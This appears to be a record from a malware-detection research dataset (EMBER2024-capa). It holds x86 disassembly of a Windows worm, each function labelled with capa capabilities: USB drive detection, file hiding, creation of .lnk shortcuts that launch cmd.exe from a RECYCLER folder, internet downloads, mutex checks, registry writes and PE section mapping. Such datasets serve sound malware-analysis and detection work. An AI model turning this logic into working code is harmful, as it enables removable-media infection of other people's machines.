joyce8/EMBER2024-capa huggingface dataset:
Function at 0x69a990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.006935f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.006935f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.006968b0
test eax, eax
jne 0x69a9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x69a9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x69aa10
Capabilities:
Check http status code
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mozilla_4.0
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [0x6db9a0]
test esi, esi
jne 0x69aa6e
push esi
push esi
push esi
push esi
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [0x6db9a0], esi
mov edi, dword [ebp + 0x14]
xor eax, eax
test edi, edi
je 0x69aa7e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4000000
push eax
mov eax, dword [ebp + 8]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
jne 0x69aaa3
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0x20000013
push esi
mov dword [ebp - 8], 0xc8
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x69aadb
mov eax, dword [ebp - 8]
cmp eax, 0xc8
jb 0x69aa9a
cmp eax, 0x12b
ja 0x69aa9a
mov esi, dword [ebp + 0x10]
push edi
push edi
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x69aa9a
mov dword [esi], edi
mov dword [0x6db99c], edi
mov dword [0x6db998], edi
mov dword [0x6db994], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 4], 1
lea ecx, [ecx]
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x6db99c], eax
add esp, 4
mov dword [eax + 0xffc], 0
cmp dword [0x6db994], 0
jne 0x69ab41
mov eax, dword [0x6db99c]
mov dword [0x6db994], eax
jmp 0x69ab57
mov eax, dword [0x6db998]
mov ecx, dword [0x6db99c]
mov dword [eax + 0xffc], ecx
mov eax, dword [0x6db99c]
lea edx, [ebp - 4]
push edx
push 0xff8
push eax
push ebx
mov dword [0x6db998], eax
call edi
mov ecx, dword [0x6db99c]
mov eax, dword [ebp - 4]
mov dword [ecx + 0xff8], eax
mov eax, dword [ebp - 4]
add dword [esi], eax
mov ecx, dword [esi]
test eax, eax
jne 0x69ab10
inc ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
add esp, 4
mov dword [edi], eax
mov eax, dword [0x6db994]
xor esi, esi
xor ecx, ecx
mov dword [0x6db99c], eax
test ecx, ecx
je 0x69abb2
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x6db99c]
add esp, 4
test eax, eax
je 0x69abe0
mov edx, dword [eax + 0xff8]
push edx
push eax
mov eax, dword [edi]
add eax, esi
push eax
call fcn.00693640
mov eax, dword [0x6db99c]
add esp, 0xc
add esi, dword [eax + 0xff8]
mov ecx, eax
mov eax, dword [eax + 0xffc]
jmp 0x69ab9b
mov ecx, dword [edi]
push ebx
mov byte [esi + ecx], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x69b300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0x69b37b
cmp dword [ebp + 8], esi
je 0x69b370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0x6a2bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x69b365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x69b3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.2d9fa278
call ebx
test eax, eax
jbe 0x69b3f6
mov edi, edi
movsx eax, byte [esi + str.2d9fa278]
add dword [ebp - 4], eax
push str.2d9fa278
inc esi
call ebx
cmp esi, eax
jb 0x69b3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0x69b467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x69d6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x6da3d4]
sub esp, 8
test eax, eax
je 0x69d6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0x69d703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x69d759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x69d710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0x69d74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x69ee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0x6a3614
push 1
push 0
push 0x6a3634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x69efdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x6a2c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x6a3624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0x69efcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x69efe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.006a0f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0x69f11b
push 0x6a13d8
push esi
call edi
test eax, eax
je 0x69f11b
push 0x6a2fcc
push esi
call edi
test eax, eax
je 0x69f11b
cmp dword [ebp + 0x10], 0
je 0x69f07f
test bl, 0x10
je 0x69f11b
cmp dword [ebp + 0x14], 0
je 0x69f10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0x69f11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0x69f11b
test edi, edi
je 0x69f11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.0069ee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x69f130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x6a2fe0
push eax
call fcn.0069edf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x69f1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0x6a2fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.0069efe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x69f29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x69f285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x69f285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0x6a2fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.0069efe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x69f220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x69f2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.00693810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x69f2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x69f375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x69f375
cmp dword [ebp - 0x3f8], 7
jne 0x69f375
mov dword [ebp - 4], 1
push edi
call fcn.006937f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x69f9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x69fa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.006924e0
mov al, byte [esi]
add esp, 8
push 0x6a3040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.0069f2b0
add esp, 4
test eax, eax
je 0x69fa80
lea eax, [ebp - 4]
push eax
call fcn.0069f430
add esp, 4
test eax, eax
je 0x69fa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x69fa80
cmp byte [esi], cl
jne 0x69fa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6a0910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0069a5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x6da84c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x6a09cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00692440
lea edx, [ebp - 8]
push edx
call fcn.0069f2b0
add esp, 4
test eax, eax
je 0x6a09cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x6db640], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.00693870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.00693870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.BKKBwjOPVnlqibIA
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x6a0a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x6a0a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.2d9fa278
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.2d9fa278
call fcn.00691e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.00694d00
add esp, 0x1c
test eax, eax
jne 0x6a0a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x6a2e64
call fcn.006973e0
add esp, 8
cmp eax, 1
jne 0x6a0a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push 0x6a2e64
call fcn.00697330
push 0
call fcn.0069b300
add esp, 0xc
mov esi, eax
call fcn.00696850
push 0x208
push 0x6db0f0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.exe
push 0x6daee0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x6dad90
push 0xffffffffffffffff
push 0x6daee0
push 0
push 0
call edi
push 0x208
push esi
push 0x6db2f8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x6db520
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x6db644], eax
test eax, eax
je 0x6a0b5f
call fcn.0069a990
push 0x9c4
mov dword [0x6db648], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x6a6e68
call fcn.00695ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x5371ae
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, 0x53c6a8
call fcn.00537c70
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
and dword [ebp - 0x18], 0
push ebx
push esi
mov eax, dword [ecx + 4]
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x10], esp
movzx edx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ecx]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x18], eax
jge 0x537302
mov eax, dword [ebp - 0x14]
push 0x53c6fc
cmp dword [eax + 0x10], 0
jne 0x53724b
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x36
call fcn.00537c8f
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x537245
mov esi, dword [ebp - 0x14]
push 4
push 0x1000
push ebx
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x1c]
push eax
call dword [fcn.00401018]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, 0x5372ef
ret
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x28], 0x43
call fcn.00537c8f
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x1c]
push eax
call dword [fcn.00401018]
mov dword [ebp - 0x20], eax
mov eax, 0x537285
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x537311
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, 0x53c6b4
call fcn.00537c70
sub esp, 0x24
mov eax, dword [ebp + 8]
and dword [ebp - 0x20], 0
push ebx
push esi
mov eax, dword [eax]
push edi
mov dword [ebp - 0x10], esp
movzx ecx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], edi
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x20], eax
jge 0x537458
mov esi, dword [edi + 0x24]
mov eax, esi
mov ecx, esi
shr eax, 0x1d
shr ecx, 0x1e
mov edx, esi
and eax, 1
and ecx, 1
shr edx, 0x1f
test esi, 0x2000000
je 0x53739d
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push 0x53c6fc
push eax
mov dword [ebp - 0x24], 0x4b
call fcn.00537c8f
mov eax, dword [ebp - 0x14]
push 0x4000
push dword [eax + 0x10]
push dword [eax + 8]
call dword [fcn.00401010]
mov eax, 0x537446
ret
lea eax, [ecx + eax*2]
test esi, 0x4000000
lea eax, [edx + eax*2]
mov eax, dword [eax*4 + 0x533120]
mov dword [ebp - 0x1c], eax
je 0x5373b9
or byte [ebp - 0x1b], 2
mov edi, dword [edi + 0x10]
test edi, edi
mov dword [ebp - 0x18], edi
jne 0x537408
lea eax, [ebp - 0x28]
push 0x53c6fc
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x10
call fcn.00537c8f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x24]
test al, 0x40
je 0x5373f3
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
jmp 0x5373ff
test al, al
jns 0x537402
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x18], eax
mov eax, 0x537408
ret
cmp dword [ebp - 0x18], 0
jbe 0x537446
lea eax, [ebp - 0x2c]
push 0x53c6fc
push eax
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c], 0xf
call fcn.00537c8f
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x1c]
push dword [eax + 0x10]
push dword [eax + 8]
call dword [fcn.0040101c]
mov eax, 0x537446
ret
or dword [ebp - 4], 0xffffffff
mov edi, dword [ebp - 0x14]
inc dword [ebp - 0x20]
add edi, 0x28
jmp 0x537335
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret